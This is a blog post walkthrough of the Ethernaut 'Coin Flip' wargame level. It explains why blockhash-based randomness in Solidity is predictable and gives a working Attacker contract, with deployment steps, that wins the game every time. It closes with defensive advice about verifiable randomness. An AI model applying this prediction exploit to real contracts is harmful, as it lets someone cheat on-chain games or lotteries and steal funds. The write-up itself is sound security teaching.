DEV Community

Cover image for Ethernaut - Lvl 3: Coin Flip
pacelliv
pacelliv

Posted on • Edited on

Ethernaut - Lvl 3: Coin Flip

Requirements: Remix IDE, basic understanding of how randomness works in a public blockchain.

How Ethereum generates randomness? 🤔🤯

Developers create pseudo-randomess by hashing a few built-in global variables in Solidity that are unique or difficult to tamper with. A few examples of these variables are: block.number, blockhash and block.difficulty.

Currently, Ethereum offers the KECCAK256 hash function. Devs used it to hash the concatenated string of these variables.

After the variables are hashed, they are turned into a large integer and then are mod'ed by a factor n. This is done to get a discrete set range of probability integers in the desired range of 0 to n.

In CoinFlip n=2 to represent the two sides of the coin.

Examples of hashed variables to create pseudo-randomness in Ethereum

This methodology of deriving pseudo-randomness makes smart contracts vulnerable to attacks because all the necessary inputs required by attackers are public.

The Challenge 🏊‍♀️🏊

Accumulate 10 straight wins given the following game:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Studying the contract 👨‍🏫👩‍🏫

CoinFlip.sol is a basic guessing game. Players have to call flip with their guess. If the guess was right, the player wins and their wins are accumulated and tracked in the consecutiveWins state variable.

To create a random number generator (RNG) the game implements blockhash(block.number - 1) as a source of randomness.

To prevent an attacker from using a loop to beat the game in one contract call the game implements this safeguard:

// The tx will throw if you try a loop because 
// `block.number` will be the same
if (lastHash == blockValue) {
  revert();
}
Enter fullscreen mode Exit fullscreen mode

Breaking the game 😈

After a deeper inspection we can find the following vulnerabilities:

  • blockhash and block.number are known by us, so we can use them to acurately guess the side of the coin.

  • The code is public. We can easily read and replicate the computation of the pseudo-randomness in an Attacker contract to anticipate the result.

Go to Remix IDE, create a new file titled Attacker.sol and fill it with the following content:

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract Attacker {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attackCoinFlip(address _victim) external {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 flip = blockValue / FACTOR;
        bool guess = flip == 1 ? true : false;

        if(guess) {
            // if I was correct submit my guess
            ICoinFlip(_victim).flip(guess);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

The interface ICoinFlip contains the target flip function we are going to exploit from our attacker contract.

Attacker.sol is a basic contract that implements the same randomness computation from CoinFlip in order to anticipate the result. To cheat the game we will compute our guess and only call flip if our guess is correct in that way consecutiveWins will not be reset to zero.

OK! now we are ready to exploit this game. 🧨

Request a new instance of CoinFlip to the main contract game, after the transaction is mined copy the address of the newly created instance.

Go Remix and deploy Attacker.

After the contract is deployed, call flip with the address of CoinFlip as a parameter. After the transaction is completed, in your dev tools check consecutiveWins, luckily you will have one win, if not, just keep calling the function and checking the variable until you accumulate the goal of 10 wins.

(await contract.consecutiveWins()).toString()
Enter fullscreen mode Exit fullscreen mode

Uf! it took me 31 calls, I really hope it was quicker for you.

If you followed me, congratulations you just hacked CoinFlip!

Conclusion 🧑‍🎓

Blockchains are public and deterministic networks, in them there is no such thing as a true source of randomness. Using validators/miners defined values like the hash of the previous block, means that the random number is not actually random because is already known by the entire network.

Validators and miners can manipulate these values because they are the first ones to see the hash of a block and they may decide to throw out a block in which the targeted blockhash won't produced the desired outcome in your game.

Using this source of randomness is not wrong, it boils down to for what the randomness is being used for. If you are planning on building a lottery, the winner needs to determined with a more robust source of randomness, services like Chainlink VRF should be considered for this type of dApps.

Attacking CoinFlip took me 31 calls and aprox. 1,480,734 units of gas. If the attack would been carried out on mainnet it would have cost me aprox. 149.86 USD. No one would've spent this amount of money to exploit a game with no actual prize, but if after accumulating the 10 wins there had been a monetary prize, hackers would have had a motivation in breaking your game, so depending of your application carefully choose a correct source of randomness.

Further reading 📘📙

Top comments (0)